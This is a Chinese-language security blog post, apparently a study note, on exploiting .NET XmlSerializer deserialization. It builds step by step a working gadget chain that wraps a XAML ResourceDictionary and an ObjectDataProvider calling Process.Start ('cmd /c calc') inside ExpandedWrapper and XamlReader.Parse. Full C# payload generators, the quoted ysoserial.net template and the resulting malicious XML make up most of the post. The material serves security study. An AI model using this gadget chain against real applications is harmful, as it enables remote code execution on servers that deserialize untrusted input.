February 6, 2024

【.NET 安全】ASP.NET XmlSerializer Deserialization 02

参考文献

https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md

01-XmlSerializer

https://learn.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer.-ctor?view=net-5.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using System;
using System.IO;
using System.Text;
using System.Xml.Serialization;
namespace XmlDeserialize
{
public class Person
{
public string name = "Boogipop";
private int age = 114;
}
public class XmlDeserialize
{
public static void Main(string[] args)
{
var person = new Person();
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
// 序列化
xmlSerializer.Serialize(writer, person);

memoryStream.Position = 0;

// 输出xml
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
Console.WriteLine(p1.name);
}
}
}

一个简单的demo如上,要进行XmlSerialize需要满足几个条件

上述输出结果为

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>                                                                     
<Person xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<name>Boogipop</name>
</Person>

他会将我们的对象Object序列化为Xml文本格式,之后反序列化的话就会转换回Person类。
上述memory流对象在序列化后position会蹦到文件的末尾,我们需要给他调整为0再进行反序列化才行。

02-ResourceDictionary

https://learn.microsoft.com/zh-cn/dotnet/api/system.windows.resourcedictionary?view=windowsdesktop-8.0
该类的作用是提供一个哈希表/字典实现,其中包含组件所使用的 WPF 资源以及 WPF 应用程序的其他元素。
它使用了xaml语法,与xml类似,ResourceDictionary类似于一个字典,储存键值对。那么肯定也就有一定的漏洞风险。
接下来笔者提供一个生成xaml payload的Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace XmlDeserialize
{
public class Person
{
public string name = "Boogipop";
private int age = 114;
}
public class XmlDeserialize
{
public static void Main(string[] args)
{
var objectDataProvider = new ObjectDataProvider();
var psi = new ProcessStartInfo();
psi.FileName = "calc";
psi.Arguments = "test";
// 去掉多余的环境变量
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
var p = new Process();
p.StartInfo = psi;
objectDataProvider.MethodName = "Start";
objectDataProvider.MethodParameters.Add("cmd.exe");
objectDataProvider.MethodParameters.Add("/c calc.exe");
objectDataProvider.ObjectInstance = p;
var resourceDictionary = new ResourceDictionary();
resourceDictionary["a"] = objectDataProvider;
var payload = XamlWriter.Save(resourceDictionary);
Console.WriteLine(payload);
// XamlReader.Parse(payload);
}
}
}

输出结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft
.com/winfx/2006/xaml">
<ObjectDataProvider MethodName="Start" x:Key="a">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="test" S
tandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="calc" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</ResourceDictionary>

这里和Ysoserial.net提供的payload有细微差异,放一下Yso的payload template

1
2
3
4
5
6
7
8
9
10
11
12
<ResourceDictionary 
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

可以看出似乎更加简短。

1
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);

这一段是为了去除多余的环境变量,防止payload冗杂。
对于xaml语法的解释,笔者就不过多阐述,毕竟这东西和主题偏差太多。总而言之,XamlReader.Parse会解析xaml文件内容,并且在解析过程中没有任何限制,任何类都可以被还原,也没有对实现Serrializable的要求,因此这里面有很大的利用空间。

03-ObjectDataProvider

这东西在上一篇文章以及说过了它的用法,但是我们仍然留有部分问题待解决。我们可以看下面这样的Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace XmlDeserialize
{

public class XmlDeserialize
{
public static void Main(string[] args)
{
var objectDataProvider = new ObjectDataProvider();
objectDataProvider.MethodName = "Start";
objectDataProvider.MethodParameters.Add("cmd.exe");
objectDataProvider.MethodParameters.Add("/c calc.exe");
objectDataProvider.ObjectInstance = new Process();
XmlSerializer xmlSerializer = new XmlSerializer(typeof(ObjectDataProvider));
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
// 序列化
xmlSerializer.Serialize(writer, objectDataProvider);
Console.WriteLine(memoryStream.Position);
memoryStream.Position = 0;

// 输出xml
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
Console.WriteLine(p1.name);
}
}
}

当运行上述程序后会受到报错。

1
2
3
4
5
6
7
8
9
10
11
未经处理的异常:  System.InvalidOperationException: 生成 XML 文档时出错。 ---> System.InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclu
de 特性静态指定非已知的类型。
在 System.Xml.Serialization.XmlSerializationWriter.WriteTypedPrimitive(String name, String ns, Object o, Boolean xsiType)
在 Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObjectDataProvider.Write1_Object(String n, String ns, Object o, Boolean isNullable, Boolean needType)
在 Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObjectDataProvider.Write5_ObjectDataProvider(String n, String ns, ObjectDataProvider o, Boolean isNullabl
e, Boolean needType)
在 Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObjectDataProvider.Write6_ObjectDataProvider(Object o)
--- 内部异常堆栈跟踪的结尾 ---
在 System.Xml.Serialization.XmlSerializer.Serialize(XmlWriter xmlWriter, Object o, XmlSerializerNamespaces namespaces, String encodingStyle, String id)
在 System.Xml.Serialization.XmlSerializer.Serialize(TextWriter textWriter, Object o, XmlSerializerNamespaces namespaces)
在 XmlDeserialize.XmlDeserialize.Main(String[] args)

XmlSerializer不会识别objectDataprovider,这是因为在初始化XmlSerializer的时候已经指定了类型,导致在序列化的时候类型不符,最终抛错
image.png
解决方法也很简单,我们可以找到一个泛型类,也就是类似于HashMap这样的类,最终找到的类是ExpandedWrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using System;
using System.Collections.Specialized;
using System.Data.Services.Internal;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace XmlDeserialize
{
public class XmlDeserialize
{
public static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Start";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Process, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);

memoryStream.Position = 0;
xml.Deserialize(memoryStream);
}
}
}

仍然会抛错
image.png
这是因为Process有个成员变量是接口不能进行xml序列化,因此我们的sink点得改变一下。不能直接是Process,这里就需要和上面第二点说到的ResourceDictionary结合一下了。
最终payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.Collections.Specialized;
using System.Data.Services.Internal;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace XmlDeserialize
{
public class XmlDeserialize
{
public static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
var payload = "<ResourceDictionary \n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\n <ObjectDataProvider.MethodParameters>\n <b:String>cmd</b:String>\n <b:String>/c calc</b:String>\n </ObjectDataProvider.MethodParameters>\n </ObjectDataProvider>\n</ResourceDictionary>";
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
expandedWrapper.ProjectedProperty0.MethodParameters.Add(payload);
expandedWrapper.ProjectedProperty0.ObjectInstance=new XamlReader();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);

memoryStream.Position = 0;
xml.Deserialize(memoryStream);
}
}
}

生成的xml文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="utf-8"?>                                                                                                            
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ProjectedProperty0>
<ObjectInstance xsi:type="XamlReader" />
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">&lt;ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system"&gt;
&lt;ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"&gt;
&lt;ObjectDataProvider.MethodParameters&gt;
&lt;b:String&gt;cmd&lt;/b:String&gt;
&lt;b:String&gt;/c calc&lt;/b:String&gt;
&lt;/ObjectDataProvider.MethodParameters&gt;
&lt;/ObjectDataProvider&gt;
&lt;/ResourceDictionary&gt;</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>

04-小结

到这里XmlSerializer反序列化就学完了,值得学习的思路是第二点的ResourceDictionary和ExpanderWrapper去用泛型绕过类型的限制。在接下来的篇章会讲述“dotnet里的类加载”以及相关利用

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#反序列化#.NET